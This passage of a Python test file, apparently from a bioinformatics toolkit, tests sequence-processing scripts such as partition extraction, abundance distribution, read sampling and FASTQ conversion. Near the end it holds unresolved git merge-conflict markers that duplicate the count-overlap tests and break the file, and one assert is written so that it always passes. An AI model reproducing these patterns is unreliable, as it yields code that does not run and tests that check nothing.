dist.strip() == '1 11960 11960 11960', dist.strip() parts = [r.name.split('\t')[1] for r in screed.open(partfile)] assert len(parts) == 13538, len(parts) parts = set(parts) assert len(parts) == 12602, len(parts) def test_extract_partitions_fq(): seqfile = utils.get_test_data('random-20-a.fq') graphbase = _make_graph( seqfile, do_partition=True, annotate_partitions=True) in_dir = os.path.dirname(graphbase) # get the final part file partfile = os.path.join(in_dir, 'random-20-a.fq.part') # ok, now run extract-partitions. script = 'extract-partitions.py' args = ['extracted', partfile] utils.runscript(script, args, in_dir) distfile = os.path.join(in_dir, 'extracted.dist') groupfile = os.path.join(in_dir, 'extracted.group0000.fq') assert os.path.exists(distfile) assert os.path.exists(groupfile) dist = open(distfile).readline() assert dist.strip() == '99 1 1 99' screed_iter = screed.open(partfile) names = [r.name.split('\t')[0] for r in screed_iter] assert '35 1::FOO' in names assert '46 1::FIZ' in names screed_iter = screed.open(partfile) parts = [r.name.split('\t')[1] for r in screed_iter] assert len(parts) == 99, len(parts) parts = set(parts) assert len(parts) == 1, len(parts) quals = set([r.quality for r in screed.open(partfile)]) quals = list(quals) assert quals[0], quals def test_extract_partitions_output_unassigned(): seqfile = utils.get_test_data('random-20-a.fa') graphbase = _make_graph( seqfile, do_partition=True, annotate_partitions=True) in_dir = os.path.dirname(graphbase) # get the final part file partfile = os.path.join(in_dir, 'random-20-a.fa.part') # ok, now run extract-partitions. script = 'extract-partitions.py' args = ['-U', 'extracted', partfile] utils.runscript(script, args, in_dir) distfile = os.path.join(in_dir, 'extracted.dist') groupfile = os.path.join(in_dir, 'extracted.group0000.fa') unassigned_file = os.path.join(in_dir, 'extracted.unassigned.fa') assert os.path.exists(distfile) assert os.path.exists(groupfile) assert os.path.exists(unassigned_file) dist = open(distfile).readline() assert dist.strip() == '99 1 1 99' parts = [r.name.split('\t')[1] for r in screed.open(partfile)] assert len(parts) == 99, len(parts) parts = set(parts) assert len(parts) == 1, len(parts) def test_extract_partitions_no_output_groups(): seqfile = utils.get_test_data('random-20-a.fq') graphbase = _make_graph( seqfile, do_partition=True, annotate_partitions=True) in_dir = os.path.dirname(graphbase) # get the final part file partfile = os.path.join(in_dir, 'random-20-a.fq.part') # ok, now run extract-partitions. script = 'extract-partitions.py' args = ['-n', 'extracted', partfile] # We expect a sys.exit -> we need the test to be tolerant status, out, err = utils.runscript(script, args, in_dir) assert "NOT outputting groups! Beware!" in err # Group files are created after output_groups is # checked. They should not exist in this scenario groupfile = os.path.join(in_dir, 'extracted.group0000.fa') assert not os.path.exists(groupfile) def test_extract_partitions_pid_0(): partfile = utils.copy_test_data('random-20-a.fa.part') in_dir = os.path.dirname(partfile) # ok, now run extract-partitions. script = 'extract-partitions.py' args = ['-U', 'extracted', partfile] utils.runscript(script, args, in_dir) distfile = os.path.join(in_dir, 'extracted.dist') groupfile = os.path.join(in_dir, 'extracted.group0000.fa') unassigned_file = os.path.join(in_dir, 'extracted.unassigned.fa') assert os.path.exists(distfile) assert os.path.exists(groupfile) assert os.path.exists(unassigned_file) # Assert unassigned file not empty unassigned_content = open(unassigned_file).readline() assert unassigned_content.strip().split('\t')[0] != '' def test_extract_partitions_multi_groups(): partfile = utils.copy_test_data('random-20-a.fa.part') in_dir = os.path.dirname(partfile) # ok, now run extract-partitions. script = 'extract-partitions.py' args = ['-m', '1', '-X', '1', 'extracted', partfile] utils.runscript(script, args, in_dir) # Multiple group files are created after should be created groupfile1 = os.path.join(in_dir, 'extracted.group0000.fa') groupfile2 = os.path.join(in_dir, 'extracted.group0001.fa') groupfile3 = os.path.join(in_dir, 'extracted.group0002.fa') assert os.path.exists(groupfile1) assert os.path.exists(groupfile2) assert os.path.exists(groupfile3) def test_extract_partitions_no_groups(): empty_file = utils.copy_test_data('empty-file') in_dir = os.path.dirname(empty_file) # ok, now run extract-partitions. script = 'extract-partitions.py' args = ['extracted', empty_file] status, _, err = utils.runscript(script, args, in_dir, fail_ok=True) assert "ERROR: Input file", "is empty; Exiting." in err assert status != 0 # No group files should be created groupfile = os.path.join(in_dir, 'extracted.group0000.fa') assert not os.path.exists(groupfile) def test_abundance_dist(): infile = utils.copy_test_data('test-abund-read-2.fa') outfile = utils.get_temp_filename('test.dist') in_dir = os.path.dirname(infile) htfile = _make_counting(infile, K=17) script = 'abundance-dist.py' args = ['-z', htfile, infile, outfile] utils.runscript(script, args, in_dir) with open(outfile) as fp: line = fp.readline().strip() assert (line == 'abundance,count,cumulative,cumulative_fraction'), line line = fp.readline().strip() assert line == '1,96,96,0.98', line line = fp.readline().strip() assert line == '1001,2,98,1.0', line def test_abundance_dist_quiet(): infile = utils.copy_test_data('test-abund-read-2.fa') outfile = utils.get_temp_filename('test.dist') in_dir = os.path.dirname(infile) htfile = _make_counting(infile, K=17) script = 'abundance-dist.py' args = ['-z', '-q', htfile, infile, outfile] status, out, err = utils.runscript(script, args, in_dir) assert len(err) == 0 with open(outfile) as fp: line = fp.readline().strip() assert (line == 'abundance,count,cumulative,cumulative_fraction'), line line = fp.readline().strip() assert line == '1,96,96,0.98', line line = fp.readline().strip() assert line == '1001,2,98,1.0', line def test_abundance_dist_stdout(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) htfile = _make_counting(infile, K=17) script = 'abundance-dist.py' args = ['-z', htfile, infile, "-"] (status, out, err) = utils.runscript(script, args, in_dir) assert '1,96,96,0.98' in out, out assert '1001,2,98,1.0' in out, out def test_abundance_dist_nobigcount(): infile = utils.copy_test_data('test-abund-read-2.fa') outfile = utils.get_temp_filename('test.dist') in_dir = os.path.dirname(infile) htfile = _make_counting(infile, K=17) script = 'abundance-dist.py' args = ['-b', '-z', htfile, infile, outfile] utils.runscript(script, args, in_dir) with open(outfile) as fp: line = fp.readline().strip() # skip header line = fp.readline().strip() assert line == '1,96,96,0.98', line line = fp.readline().strip() assert line == '255,2,98,1.0', line def test_abundance_dist_threaded(): infile = utils.copy_test_data('test-abund-read-2.fa') outfile = utils.get_temp_filename('test.dist') in_dir = os.path.dirname(infile) script = 'abundance-dist-single.py' args = ['-x', '1e7', '-N', '2', '-k', '17', '-z', '--threads', '18', infile, outfile] (status, out, err) = utils.runscript(script, args, in_dir) assert 'Total number of unique k-mers: 98' in err, err with open(outfile) as fp: line = fp.readline().strip() # skip header line = fp.readline().strip() assert line == '1,96,96,0.98', line line = fp.readline().strip() assert line == '1001,2,98,1.0', line def test_abundance_dist_single_csv(): infile = utils.copy_test_data('test-abund-read-2.fa') outfile = utils.get_temp_filename('test.dist') in_dir = os.path.dirname(infile) script = 'abundance-dist-single.py' args = ['-x', '1e7', '-N', '2', '-k', '17', '-z', infile, outfile] (status, out, err) = utils.runscript(script, args, in_dir) with open(outfile) as fp: line = fp.readline().strip() assert (line == 'abundance,count,cumulative,cumulative_fraction'), line line = fp.readline().strip() assert line == '1,96,96,0.98', line line = fp.readline().strip() assert line == '1001,2,98,1.0', line def test_abundance_dist_single_nobigcount(): infile = utils.copy_test_data('test-abund-read-2.fa') outfile = utils.get_temp_filename('test.dist') in_dir = os.path.dirname(infile) script = 'abundance-dist-single.py' args = ['-x', '1e7', '-N', '2', '-k', '17', '-z', '-b', infile, outfile] utils.runscript(script, args, in_dir) with open(outfile) as fp: line = fp.readline().strip() # skip header line = fp.readline().strip() assert line == '1,96,96,0.98', line line = fp.readline().strip() assert line == '255,2,98,1.0', line def test_abundance_dist_single_smallcount(): infile = utils.copy_test_data('test-abund-read-2.fa') outfile = utils.get_temp_filename('test.dist') in_dir = os.path.dirname(infile) script = 'abundance-dist-single.py' args = ['-x', '1e7', '-N', '2', '-k', '17', '-z', '--small-count', infile, outfile] utils.runscript(script, args, in_dir) def test_abundance_dist_single_nosquash(): infile = utils.copy_test_data('test-abund-read-2.fa') outfile = utils.get_temp_filename('test-abund-read-2.fa') in_dir = os.path.dirname(infile) script = 'abundance-dist-single.py' args = ['-x', '1e7', '-N', '2', '-k', '17', '-z', infile, outfile] utils.runscript(script, args, in_dir) with open(outfile) as fp: line = fp.readline().strip() # skip header line = fp.readline().strip() assert line == '1,96,96,0.98', line line = fp.readline().strip() assert line == '1001,2,98,1.0', line def test_abundance_dist_single_quiet(): infile = utils.copy_test_data('test-abund-read-2.fa') outfile = utils.get_temp_filename('test-abund-read-2.fa') in_dir = os.path.dirname(infile) script = 'abundance-dist-single.py' args = ['-q', '-x', '1e7', '-N', '2', '-k', '17', '-z', infile, outfile] status, out, err = utils.runscript(script, args, in_dir) assert len(err) == 0 with open(outfile) as fp: line = fp.readline().strip() # skip header line = fp.readline().strip() assert line == '1,96,96,0.98', line line = fp.readline().strip() assert line == '1001,2,98,1.0', line def test_abundance_dist_single_savegraph(): infile = utils.copy_test_data('test-abund-read-2.fa') outfile = utils.get_temp_filename('test.dist') tabfile = utils.get_temp_filename('test-savegraph.ct') in_dir = os.path.dirname(infile) script = 'abundance-dist-single.py' args = ['-x', '1e7', '-N', '2', '-k', '17', '-z', '--savegraph', tabfile, infile, outfile] utils.runscript(script, args, in_dir) with open(outfile) as fp: line = fp.readline().strip() # skip header line = fp.readline().strip() assert line == '1,96,96,0.98', line line = fp.readline().strip() assert line == '1001,2,98,1.0', line def test_do_partition(): seqfile = utils.get_test_data('random-20-a.fa') graphbase = utils.get_temp_filename('out') in_dir = os.path.dirname(graphbase) script = 'do-partition.py' args = ["-k", "20", graphbase, seqfile] utils.runscript(script, args, in_dir) partfile = os.path.join(in_dir, 'random-20-a.fa.part') parts = [r.name.split('\t')[1] for r in screed.open(partfile)] parts = set(parts) assert '2' in parts assert len(parts) == 1 def test_do_partition_no_big_traverse(): seqfile = utils.get_test_data('random-20-a.fa') graphbase = utils.get_temp_filename('out') in_dir = os.path.dirname(graphbase) script = 'do-partition.py' args = ["-k", "20", "--no-big-traverse", "--threads=100", graphbase, seqfile] utils.runscript(script, args, in_dir) partfile = os.path.join(in_dir, 'random-20-a.fa.part') parts = [r.name.split('\t')[1] for r in screed.open(partfile)] parts = set(parts) assert '2' in parts assert len(parts) == 1 def test_do_partition_2(): # test with K=21 (no joining of sequences) seqfile = utils.get_test_data('random-20-a.fa') graphbase = utils.get_temp_filename('out') in_dir = os.path.dirname(graphbase) script = 'do-partition.py' args = ["-k", "21", graphbase, seqfile] utils.runscript(script, args, in_dir) partfile = os.path.join(in_dir, 'random-20-a.fa.part') parts = [r.name.split('\t')[1] for r in screed.open(partfile)] parts = set(parts) assert len(parts) == 99, len(parts) def test_do_partition_2_fq(): # test with K=21 (no joining of sequences) seqfile = utils.get_test_data('random-20-a.fq') graphbase = utils.get_temp_filename('out') in_dir = os.path.dirname(graphbase) script = 'do-partition.py' args = ["-k", "21", graphbase, seqfile] utils.runscript(script, args, in_dir) partfile = os.path.join(in_dir, 'random-20-a.fq.part') screed_iter = screed.open(partfile) names = [r.name.split('\t')[0] for r in screed_iter] assert '35 1::FOO' in names assert '46 1::FIZ' in names def test_make_initial_stoptags(): # gen input files using load-graph.py -t # should keep test_data directory size down # or something like that # this assumes (obv.) load-graph.py works properly bzinfile = utils.copy_test_data('test-reads.fq.bz2') in_dir = os.path.dirname(bzinfile) genscript = 'load-graph.py' genscriptargs = ['test-reads', 'test-reads.fq.bz2'] utils.runscript(genscript, genscriptargs, in_dir) # test input file gen'd by load-graph.pys infile = utils.get_temp_filename('test-reads.pt') infile2 = utils.get_temp_filename('test-reads.tagset', in_dir) # get file to compare against ex_outfile = utils.get_test_data('test-reads.stoptags') # actual output file outfile1 = utils.get_temp_filename('test-reads.stoptags', in_dir) script = 'make-initial-stoptags.py' # make-initial-stoptags has weird file argument syntax # read the code before modifying args = ['test-reads'] utils.runscript(script, args, in_dir) assert os.path.exists(outfile1), outfile1 def test_make_initial_stoptags_load_stoptags(): # gen input files using load-graph.py -t # should keep test_data directory size down # or something like that # this assumes (obv.) load-graph.py works properly bzinfile = utils.copy_test_data('test-reads.fq.bz2') in_dir = os.path.dirname(bzinfile) genscript = 'load-graph.py' genscriptargs = ['test-reads', 'test-reads.fq.bz2'] utils.runscript(genscript, genscriptargs, in_dir) # test input file gen'd by load-graph.pys infile = utils.get_temp_filename('test-reads.pt') infile2 = utils.get_temp_filename('test-reads.tagset', in_dir) # get file to compare against ex_outfile = utils.get_test_data('test-reads.stoptags') # actual output file outfile1 = utils.get_temp_filename('test-reads.stoptags', in_dir) script = 'make-initial-stoptags.py' # make-initial-stoptags has weird file argument syntax # read the code before modifying args = ['test-reads'] utils.runscript(script, args, in_dir) args = ['test-reads', '--stoptags', 'test-reads.stoptags'] utils.runscript(script, args, in_dir) assert os.path.exists(outfile1), outfile1 def test_sample_reads_randomly(): infile = utils.copy_test_data('test-reads.fa') in_dir = os.path.dirname(infile) script = 'sample-reads-randomly.py' # fix random number seed for reproducibility args = ['-N', '10', '-M', '12000', '-R', '1'] args.append(infile) utils.runscript(script, args, in_dir) outfile = infile + '.subset' assert os.path.exists(outfile), outfile seqs = set([r.name for r in screed.open(outfile)]) print(list(sorted(seqs))) if sys.version_info.major == 2: answer = {'850:2:1:1859:11742/1', '850:2:1:1859:11742/2', '850:2:1:2131:17360/1', '850:2:1:2131:17360/2', '850:2:1:2416:7565/1', '850:2:1:2416:7565/2', '850:2:1:2490:13491/1', '850:2:1:2490:13491/2', '850:2:1:2962:3999/1', '850:2:1:2962:3999/2', '850:2:1:3096:20321/1', '850:2:1:3096:20321/2', '850:2:1:3164:6414/1', '850:2:1:3164:6414/2', '850:2:1:3206:13876/1', '850:2:1:3206:13876/2', '850:2:1:3631:20919/1', '850:2:1:3631:20919/2', '850:2:1:3655:15581/1', '850:2:1:3655:15581/2'} else: answer = {'850:2:1:1257:3404/1', '850:2:1:1257:3404/2', '850:2:1:1362:19357/1', '850:2:1:1362:19357/2', '850:2:1:1396:5659/1', '850:2:1:1396:5659/2', '850:2:1:2063:11124/1', '850:2:1:2063:11124/2', '850:2:1:2121:12070/1', '850:2:1:2121:12070/2', '850:2:1:2528:15779/1', '850:2:1:2528:15779/2', '850:2:1:2581:12886/1', '850:2:1:2581:12886/2', '850:2:1:2864:8505/1', '850:2:1:2864:8505/2', '850:2:1:3000:2015/1', '850:2:1:3000:2015/2', '850:2:1:3302:5025/1', '850:2:1:3302:5025/2'} assert seqs == answer def test_sample_reads_randomly_force_single(): infile = utils.copy_test_data('test-reads.fa') in_dir = os.path.dirname(infile) script = 'sample-reads-randomly.py' # fix random number seed for reproducibility args = ['-N', '10', '-M', '12000', '-R', '1', '--force_single'] args.append(infile) utils.runscript(script, args, in_dir) outfile = infile + '.subset' assert os.path.exists(outfile), outfile seqs = set([r.name for r in screed.open(outfile)]) print(list(sorted(seqs))) if sys.version_info.major == 2: answer = {'850:2:1:2399:20086/2', '850:2:1:2273:13309/1', '850:2:1:2065:16816/1', '850:2:1:1984:7162/2', '850:2:1:2691:14602/1', '850:2:1:1762:5439/1', '850:2:1:2503:4494/2', '850:2:1:2263:11143/2', '850:2:1:1792:15774/2', '850:2:1:2084:17145/1'} else: answer = {'850:2:1:1199:4197/1', '850:2:1:1251:16575/2', '850:2:1:1267:6790/2', '850:2:1:1601:4443/1', '850:2:1:1625:19325/1', '850:2:1:1832:14607/2', '850:2:1:1946:20852/2', '850:2:1:2401:4896/2', '850:2:1:2562:1308/1', '850:2:1:3123:15968/2'} assert seqs == answer def test_sample_reads_randomly_force_single_outfile(): infile = utils.copy_test_data('test-reads.fa') in_dir = os.path.dirname(infile) script = 'sample-reads-randomly.py' # fix random number seed for reproducibility args = ['-N', '10', '-M', '12000', '-R', '1', '--force_single', '-o', in_dir + '/randreads.out'] args.append(infile) utils.runscript(script, args, in_dir) outfile = in_dir + '/randreads.out' assert os.path.exists(outfile), outfile seqs = set([r.name for r in screed.open(outfile)]) print(list(sorted(seqs))) if sys.version_info.major == 2: answer = {'850:2:1:2399:20086/2', '850:2:1:2273:13309/1', '850:2:1:2065:16816/1', '850:2:1:1984:7162/2', '850:2:1:2691:14602/1', '850:2:1:1762:5439/1', '850:2:1:2503:4494/2', '850:2:1:2263:11143/2', '850:2:1:1792:15774/2', '850:2:1:2084:17145/1'} else: answer = {'850:2:1:1199:4197/1', '850:2:1:1251:16575/2', '850:2:1:1267:6790/2', '850:2:1:1601:4443/1', '850:2:1:1625:19325/1', '850:2:1:1832:14607/2', '850:2:1:1946:20852/2', '850:2:1:2401:4896/2', '850:2:1:2562:1308/1', '850:2:1:3123:15968/2'} assert seqs == answer def test_sample_reads_randomly_fq(): infile = utils.copy_test_data('test-reads.fq.gz') in_dir = os.path.dirname(infile) script = 'sample-reads-randomly.py' # fix random number seed for reproducibility args = ['-N', '10', '-M', '12000', '-R', '1'] args.append(infile) utils.runscript(script, args, in_dir) outfile = infile + '.subset' assert os.path.exists(outfile), outfile if sys.version_info.major == 2: answer = {'850:2:1:2399:20086/2', '850:2:1:1762:5439 1::FOO', '850:2:1:2065:16816/1', '850:2:1:2263:11143/2', '850:2:1:1792:15774/2', '850:2:1:2691:14602/1', '850:2:1:2503:4494 1::FOO', '850:2:1:2084:17145/1', '850:2:1:1984:7162 1::FOO', '850:2:1:2273:13309 1::FOO'} else: answer = {'850:2:1:1199:4197 1::FOO', '850:2:1:1251:16575/2', '850:2:1:1267:6790/2', '850:2:1:1601:4443 1::FOO', '850:2:1:1625:1932 1::FOO1', '850:2:1:1832:14607 1::FOO', '850:2:1:1946:20852 1::FOO', '850:2:1:2401:4896/2', '850:2:1:2562:1308/1', '850:2:1:3123:15968/2'} seqs = set([r.name for r in screed.open(outfile)]) print(list(sorted(seqs))) assert seqs == answer def test_sample_reads_randomly_stdin_no_out(): script = 'sample-reads-randomly.py' args = ['-'] (status, out, err) = utils.runscript(script, args, fail_ok=True) assert status != 0 assert "Accepting input from stdin; output filename" in err, err def test_fastq_to_fasta(): script = 'fastq-to-fasta.py' clean_infile = utils.copy_test_data('test-fastq-reads.fq') n_infile = utils.copy_test_data('test-fastq-n-reads.fq') clean_outfile = clean_infile + '.keep.fa' n_outfile = n_infile + '.keep.fa' in_dir = os.path.dirname(clean_infile) in_dir_n = os.path.dirname(n_infile) args = [clean_infile, '-n', '-o', clean_outfile] (status, out, err) = utils.runscript(script, args, in_dir) assert len(out.splitlines()) == 0, len(out.splitlines()) assert "No lines dropped" in err names = [r.name for r in screed.open(clean_outfile)] assert '895:1:1:1246:14654 1:N:0:NNNNN' in names, names args = [n_infile, '-n', '-o', n_outfile] (status, out, err) = utils.runscript(script, args, in_dir_n) assert len(out.splitlines()) == 0 assert "No lines dropped" in err args = [clean_infile, '-o', clean_outfile] (status, out, err) = utils.runscript(script, args, in_dir) assert len(out.splitlines()) == 0 assert "0 lines dropped" in err args = [n_infile, '-o', n_outfile] (status, out, err) = utils.runscript(script, args, in_dir_n) assert len(out.splitlines()) == 0, out assert "4 lines dropped" in err, err args = [clean_infile] (status, out, err) = utils.runscript(script, args, in_dir) assert len(out.splitlines()) > 0 assert "0 lines dropped" in err args = [n_infile] (status, out, err) = utils.runscript(script, args, in_dir_n) assert len(out.splitlines()) > 0 assert "4 lines dropped" in err args = [clean_infile, '-o', clean_outfile, '--gzip'] (status, out, err) = utils.runscript(script, args, in_dir) assert len(out.splitlines()) == 0 assert "0 lines dropped" in err args = [clean_infile, '-o', clean_outfile, '--bzip'] (status, out, err) = utils.runscript(script, args, in_dir) assert len(out.splitlines()) == 0 assert "0 lines dropped" in err def test_fastq_to_fasta_streaming_compressed_gzip(): script = 'fastq-to-fasta.py' infile = utils.copy_test_data('test-reads.fq.gz') in_dir = os.path.dirname(infile) fifo = utils.get_temp_filename('fifo') copyfilepath = utils.get_temp_filename('copied.fa.gz', in_dir) # make a fifo to simulate streaming os.mkfifo(fifo) args = ['--gzip', '-o', fifo, infile] # FIFOs MUST BE OPENED FOR READING BEFORE THEY ARE WRITTEN TO # If this isn't done, they will BLOCK and things will hang. thread = threading.Thread(target=utils.runscript, args=(script, args, in_dir)) thread.start() copyfile = io.open(copyfilepath, 'wb') fifofile = io.open(fifo, 'rb') # read binary to handle compressed files chunk = fifofile.read(8192) while len(chunk) > 0: copyfile.write(chunk) chunk = fifofile.read(8192) fifofile.close() thread.join() copyfile.close() # verify that the seqs are there and not broken f = screed.open(copyfilepath) count = 0 for _ in f: count += 1 assert count == 25000, count f.close() # verify we're looking at a gzipped file gzfile = io.open(file=copyfilepath, mode='rb', buffering=8192) magic = b"\x1f\x8b\x08" # gzip magic signature file_start = gzfile.peek(len(magic)) assert file_start[:3] == magic, file_start[:3] def test_fastq_to_fasta_streaming_compressed_bzip(): script = 'fastq-to-fasta.py' infile = utils.copy_test_data('test-reads.fq.gz') in_dir = os.path.dirname(infile) fifo = utils.get_temp_filename('fifo') copyfilepath = utils.get_temp_filename('copied.fa.bz', in_dir) # make a fifo to simulate streaming os.mkfifo(fifo) args = ['--bzip', '-o', fifo, infile] # FIFOs MUST BE OPENED FOR READING BEFORE THEY ARE WRITTEN TO # If this isn't done, they will BLOCK and things will hang. thread = threading.Thread(target=utils.runscript, args=(script, args, in_dir)) thread.start() copyfile = io.open(copyfilepath, 'wb') fifofile = io.open(fifo, 'rb') # read binary to handle compressed files chunk = fifofile.read(8192) while len(chunk) > 0: copyfile.write(chunk) chunk = fifofile.read(8192) fifofile.close() thread.join() copyfile.close() # verify that the seqs are there and not broken f = screed.open(copyfilepath) count = 0 for _ in f: count += 1 assert count == 25000, count f.close() # verify we're looking at a gzipped file bzfile = io.open(file=copyfilepath, mode='rb', buffering=8192) magic = b"\x42\x5a\x68" # bzip magic signature file_start = bzfile.peek(len(magic)) assert file_start[:3] == magic, file_start[:3] def test_extract_long_sequences_fa(): script = 'extract-long-sequences.py' fa_infile = utils.copy_test_data('paired-mixed.fa') fa_outfile = fa_infile + '.keep.fa' in_dir_fa = os.path.dirname(fa_infile) args = [fa_infile, '-l', '10', '-o', fa_outfile] (status, out, err) = utils.runscript(script, args, in_dir_fa) countlines = sum(1 for line in open(fa_outfile)) assert countlines == 22, countlines names = [r.name for r in screed.open(fa_outfile)] assert "895:1:37:17593:9954/1" in names assert "895:1:37:17593:9954/2" in names def test_extract_long_sequences_fq(): script = 'extract-long-sequences.py' fq_infile = utils.copy_test_data('paired-mixed.fq') fq_outfile = fq_infile + '.keep.fq' in_dir_fq = os.path.dirname(fq_infile) args = [fq_infile, '-l', '10', '-o', fq_outfile] (status, out, err) = utils.runscript(script, args, in_dir_fq) countlines = sum(1 for line in open(fq_outfile)) assert countlines == 44, countlines names = [r.name for r in screed.open(fq_outfile)] assert "895:1:37:17593:9954 1::foo" in names assert "895:1:37:17593:9954 2::foo" in names def test_sample_reads_randomly_S(): infile = utils.copy_test_data('test-fastq-reads.fq') in_dir = os.path.dirname(infile) script = 'sample-reads-randomly.py' # fix random number seed for reproducibility args = ['-N', '10', '-R', '1', '-S', '3'] badargs = list(args) badargs.extend(['-o', 'test', infile, infile]) (status, out, err) = utils.runscript(script, badargs, in_dir, fail_ok=True) assert status == 1, (status, out, err) assert "Error: cannot specify -o with more than one sample" in err args.append(infile) utils.runscript(script, args, in_dir) outfile = infile + '.subset.0' assert os.path.exists(outfile), outfile seqs = set([r.name for r in screed.open(outfile, parse_description=True)]) print(list(sorted(seqs))) print(seqs) if sys.version_info.major == 2: answer = {'895:1:1:1303:14389', '895:1:1:1347:3237', '895:1:1:1295:6189', '895:1:1:1308:20421', '895:1:1:1320:11648', '895:1:1:1352:5369', '895:1:1:1318:10532', '895:1:1:1363:11839', '895:1:1:1355:13535', '895:1:1:1349:15165'} else: answer = {'895:1:1:1290:11501', '895:1:1:1303:14389', '895:1:1:1307:4308', '895:1:1:1308:2539', '895:1:1:1331:1766', '895:1:1:1333:2512', '895:1:1:1347:3237', '895:1:1:1363:11839', '895:1:1:1378:18986', '895:1:1:1383:3089'} assert seqs == answer outfile = infile + '.subset.1' assert os.path.exists(outfile), outfile seqs = set([r.name for r in screed.open(outfile, parse_description=True)]) print(list(sorted(seqs))) if sys.version_info.major == 2: answer = set(['895:1:1:1303:14389', '895:1:1:1373:4848', '895:1:1:1357:19736', '895:1:1:1347:3237', '895:1:1:1338:7557', '895:1:1:1388:11093', '895:1:1:1296:1784', '895:1:1:1290:11501', '895:1:1:1355:13535', '895:1:1:1303:6251']) else: answer = {'895:1:1:1255:18861', '895:1:1:1276:16426', '895:1:1:1303:6251', '895:1:1:1308:20421', '895:1:1:1314:10430', '895:1:1:1351:14718', '895:1:1:1355:13535', '895:1:1:1358:4953', '895:1:1:1362:3983', '895:1:1:1363:9988'} assert seqs == answer seqs = set([r.name for r in screed.open(outfile, parse_description=True)]) print(list(sorted(seqs))) if sys.version_info.major == 2: answer = {'895:1:1:1303:14389', '895:1:1:1373:4848', '895:1:1:1357:19736', '895:1:1:1347:3237', '895:1:1:1338:7557', '895:1:1:1388:11093', '895:1:1:1296:1784', '895:1:1:1290:11501', '895:1:1:1355:13535', '895:1:1:1303:6251'} else: answer = {'895:1:1:1362:3983', '895:1:1:1363:9988', '895:1:1:1314:10430', '895:1:1:1255:18861', '895:1:1:1308:20421', '895:1:1:1358:4953', '895:1:1:1351:14718', '895:1:1:1303:6251', '895:1:1:1276:16426', '895:1:1:1355:13535'} assert seqs == answer <<<<<<< HEAD ======= def test_count_overlap_invalid_datafile(): seqfile1 = utils.get_temp_filename('test-overlap1.fa') in_dir = os.path.dirname(seqfile1) shutil.copy(utils.get_test_data('test-overlap1.fa'), seqfile1) htfile = _make_graph(seqfile1, ksize=20) outfile = utils.get_temp_filename('overlap.out', in_dir) script = 'count-overlap.py' args = ['--ksize', '20', '--n_tables', '2', '--min-tablesize', '10000000', htfile + '.pt', htfile + '.pt', outfile] (status, out, err) = utils.runscript(script, args, in_dir, fail_ok=True) assert "OSError" in err def test_count_overlap(): seqfile1 = utils.get_temp_filename('test-overlap1.fa') in_dir = os.path.dirname(seqfile1) seqfile2 = utils.get_temp_filename('test-overlap2.fa', in_dir) outfile = utils.get_temp_filename('overlap.out', in_dir) curvefile = utils.get_temp_filename('overlap.out.curve', in_dir) shutil.copy(utils.get_test_data('test-overlap1.fa'), seqfile1) shutil.copy(utils.get_test_data('test-overlap2.fa'), seqfile2) htfile = _make_graph(seqfile1, ksize=20) script = 'count-overlap.py' args = ['--ksize', '20', '--n_tables', '2', '--min-tablesize', '10000000', htfile + '.pt', seqfile2, outfile] (status, out, err) = utils.runscript(script, args, in_dir) assert status == 0 assert os.path.exists(outfile), outfile data = [x.strip() for x in open(outfile)] data = set(data) assert '# of unique k-mers in dataset2: 759047' in data assert '# of overlap unique k-mers: 245621' in data assert os.path.exists(curvefile), curvefile data = [x.strip() for x in open(curvefile)] data = set(data) assert '178633 1155' in data assert '496285 2970' in data assert '752053 238627' in data def test_count_overlap_csv(): seqfile1 = utils.get_temp_filename('test-overlap1.fa') in_dir = os.path.dirname(seqfile1) seqfile2 = utils.get_temp_filename('test-overlap2.fa', in_dir) outfile = utils.get_temp_filename('overlap.out', in_dir) curvefile = utils.get_temp_filename('overlap.out.curve', in_dir) shutil.copy(utils.get_test_data('test-overlap1.fa'), seqfile1) shutil.copy(utils.get_test_data('test-overlap2.fa'), seqfile2) htfile = _make_graph(seqfile1, ksize=20) script = 'count-overlap.py' args = ['--ksize', '20', '--n_tables', '2', '--min-tablesize', '10000000', '--csv', htfile + '.pt', seqfile2, outfile] (status, out, err) = utils.runscript(script, args, in_dir) assert status == 0 assert os.path.exists(outfile), outfile data = [x.strip() for x in open(outfile)] data = set(data) assert '# of unique k-mers in dataset2: 759047' in data assert '# of overlap unique k-mers: 245621' in data assert os.path.exists(curvefile), curvefile data = [x.strip() for x in open(curvefile)] data = set(data) assert '178633,1155' in data assert '496285,2970' in data assert '752053,238627' in data >>>>>>> origin/gotta-catch-them-all-rebased def test_count_overlap_invalid_datafile(): seqfile1 = utils.get_temp_filename('test-overlap1.fa') in_dir = os.path.dirname(seqfile1) shutil.copy(utils.get_test_data('test-overlap1.fa'), seqfile1) htfile = _make_graph(seqfile1, ksize=20) outfile = utils.get_temp_filename('overlap.out', in_dir) script = 'count-overlap.py' args = ['--ksize', '20', '--n_tables', '2', '--min-tablesize', '10000000', htfile + '.pt', htfile + '.pt', outfile] (status, out, err) = utils.runscript(script, args, in_dir, fail_ok=True) assert "OSError" in err def test_count_overlap(): seqfile1 = utils.get_temp_filename('test-overlap1.fa') in_dir = os.path.dirname(seqfile1) seqfile2 = utils.get_temp_filename('test-overlap2.fa', in_dir) outfile = utils.get_temp_filename('overlap.out', in_dir) curvefile = utils.get_temp_filename('overlap.out.curve', in_dir) shutil.copy(utils.get_test_data('test-overlap1.fa'), seqfile1) shutil.copy(utils.get_test_data('test-overlap2.fa'), seqfile2) htfile = _make_graph(seqfile1, ksize=20) script = 'count-overlap.py' args = ['--ksize', '20', '--n_tables', '2', '--min-tablesize', '10000000', htfile + '.pt', seqfile2, outfile] (status, out, err) = utils.runscript(script, args, in_dir) assert status == 0 assert os.path.exists(outfile), outfile data = [x.strip() for x in open(outfile)] data = set(data) assert '# of unique k-mers in dataset2: 759047' in data assert '# of overlap unique k-mers: 245621' in data assert os.path.exists(curvefile), curvefile data = [x.strip() for x in open(curvefile)] data = set(data) assert '178633 1155' in data assert '496285 2970' in data assert '752053 238627' in data def test_count_overlap_csv(): seqfile1 = utils.get_temp_filename('test-overlap1.fa') in_dir = os.path.dirname(seqfile1) seqfile2 = utils.get_temp_filename('test-overlap2.fa', in_dir) outfile = utils.get_temp_filename('overlap.out', in_dir) curvefile = utils.get_temp_filename('overlap.out.curve', in_dir) shutil.copy(utils.get_test_data('test-overlap1.fa'), seqfile1) shutil.copy(utils.get_test_data('test-overlap2.fa'), seqfile2) htfile = _make_graph(seqfile1, ksize=20) script = 'count-overlap.py' args = ['--ksize', '20', '--n_tables', '2', '--min-tablesize', 